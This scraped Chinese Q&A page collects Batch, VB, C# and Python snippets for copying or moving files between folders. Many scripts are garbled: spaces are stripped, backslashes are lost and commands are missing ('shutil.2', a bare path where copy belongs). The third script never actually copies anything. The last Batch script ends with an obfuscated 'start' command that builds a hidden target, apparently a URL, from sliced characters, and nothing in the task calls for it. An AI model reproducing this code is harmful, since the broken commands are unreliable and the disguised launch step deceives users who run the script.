⑴ 求每次从某个有多个文本的文件夹下复制一个文本到其他文件夹的bat
不清楚你的实际文件/情况,仅以问题中的说明及猜测为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
@echooff&cd/d"%~dp0"
rem每运行一次bat将一个指定文件夹里的一个txt文件剪切/移动到另一个文件夹里
set#=Anyquestion&set_=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%_%%z%
set"oldfolder=C:a"
set"newfolder=D:"
ifnotexist"%oldfolder%"(echo;"%oldfolder%"notfound&goto:end)
ifnotexist"%newfolder%"md"%newfolder%"
for/f"delims="%%ain('dir/a-d-h/b"%oldfolder%*.txt"')do(
echo;"%oldfolder%\%%~nxa"--^>"%newfolder%"
move/y"%oldfolder%\%%~nxa""%newfolder%"
goto:end
)
:end
echo;%#%+%$%%$%/%_%%z%
pause
exit
⑵ 批处理将含有某字符的文件,批量复制到另一个文件夹
不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat
@echo off
rem 将一个指定文件夹里名称中包含有特定格式的当天日期字符串的文件拷贝/复制到另一个指定文件夹里
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
for /f "tokens=2 delims==." %%a in ('wmic OS get LocalDateTime /value^|find "="') do set "now=%%a"
set "today=%now:~,4%_%now:~4,2%_%now:~6,2%"
echo;%today%
"C:\*%today%*.xls" "D:\"
echo;%#% +%$%%$%/%@% %z%
pause
exit
⑶ 批处理用硬盘里搜索所有指定的一个或者多个文件夹复制到另一个指定的文件夹
不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI
cls&echo off
rem 全盘查找指定名称文件夹并拷贝/复制到一个新的指定目录里
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
set "newfolder=D:\backup"
if not exist "%newfolder%" md "%newfolder%"
if "%newfolder:~-1%" equ "\" set "newfolder=%newfolder:~,-1%"
for %%a in (Z Y X W V U T S R Q P O N M L K J I H G F E D C B A) do (
if exist %%a:\ (
pushd %%a:
echo;%%a: searching……
for /f "delims=" %%b in ('dir /ad-h/b/s "public" 2^>nul') do (
if exist "%%b\data" (
setlocal enabledelayedexpansion
set "tmpfolder=%%b\data"
if "!tmpfolder:%newfolder%=!" equ "!tmpfolder!" (
if not exist "%newfolder%\!tmpfolder::=!" md "%newfolder%\!tmpfolder::=!"
echo;"!tmpfolder!" --^> "%newfolder%\!tmpfolder::=!"
)
endlocal
)
)
popd
)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit
⑷ 怎样用VB代码将一个文件夹下的TXT文件全部移到另一文件夹移完后再对同一目录下另一文件夹执行此操作。
vb里有个dir(路径)函数
直接用它就可以将路径下的所有文件输出到一个string类型的变量中
然后就可以用file将文件复制到指定目录
然后再用kill文件删除原文件,就实现了文件的移动
再也可以调用windows
api来完成
⑸ 用C#代码把文件从一个文件拷到另一个文件夹
TextBox改成你的路径
//定义一个文件流,用于读取原文件
FileStream
fs
=
new
FileStream(this.textBox1
.Text
,FileMode.Open
);
//定义内存缓冲区
byte
[]buffer=new
byte
[(int)fs.Length
];
//将文件读入到内存缓冲区中
fs.Read(buffer
,0,buffer
.Length
);
fs.Close();
//定义一个文件流,用于将缓冲区中的文件流写入文件
FileStream
fs1
=
new
FileStream(this.textBox2
.Text
,FileMode.Create
);
//写入文件
fs1.Write(buffer
,0,buffer
.Length
);
fs1.Close();
⑹ 用BAT把一个文件夹复制到另一个文件夹内的命令怎么写
1、首先打开电脑点击鼠标右键选择新建,再选择文本文档,在电脑上新建一个文本文档。
⑺ python 怎么将输入目录内的文件拷贝至另一个目录的同名文件夹
这是最近写的一个类似代码,你拿去改改
import shutil
import os
import logging
import sys
logger = logging.getLogger(__name__)
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
def cp_or_mv2(src_file, des_dir, is_):
print(src_file, des_dir)
if os.path.isfile(src_file):
logger.info(f'from file {src_file}')
if is_:
shutil.2(src_file, des_dir)
logger.info(f' to {des_dir}')
else:
des_file = os.path.join(des_dir, src_file)
shutil.move(src_file, des_file)
logger.info(f'move to {des_file}')
else:
logger.info(f'from dir {src_file}')
des_dir_level1 = os.path.join(des_dir, src_file)
shutil.tree(src_file, des_dir_level1, dirs_exist_ok=True)
logger.info(f'to {des_dir_level1}')
if not is_:
shutil.rmtree(src_file)
logger.info(f'deleted {src_file}')
def process_files_in_txt(txt_file, src_dir, des_dir, is_=True):
os.chdir(src_dir)
with open(txt_file, 'r', encoding='utf8', errors='ignore') as f:
for line in f.readlines():
src_file = line.strip()
# logger.info(src_file)
if os.path.exists(src_file):
cp_or_mv2(src_file, des_dir, is_)
else:
logger.warning(f'{src_file} missing!')
if __name__ == '__main__':
process_files_in_txt(r"D:\D\需要拷贝.txt", # 哪些文件(夹)
r"D:\D\Desktop", # 从哪个文件夹
r"D:\D\新建文件夹", # 到哪个文件夹
is_=False) # True复制,False剪切
⑻ 怎么用bat复制指定的一个文件到指定文件夹,并重命名
脚本保存时的编码务必设为ANSI,您包含文件名的文件列表文本,编码也要使用ANSI,否则中文字符会出现乱码现象,从而导致脚本执行报错。
@echooff&title批量拷贝文件到指定目录,并根据列表重命名By依梦琴瑶
cd/d"%~dp0"
::设置源文件完整路径,当前目录可只写相对路径
setSrcFile=C:.xlsx
::设置目标目录完整路径,当前目录可只写相对路径
setTgtFolder=C:
::设置列表文件完整路径,当前目录可只写相对路径
setFileLst=C:.txt
ifnotexist"%TgtFolder%."md"%TgtFolder%"
for/f"usebackqdelims="%%ain("%FileLst%")do(
rem如果列表文件中的命名不包含后缀名,那么请在下方的%%~a后面添加.xlsx后缀名
/y"%SrcFile%""%TgtFolder%\%%~a"
)
pause
set"Va="
set"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"
start"""%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"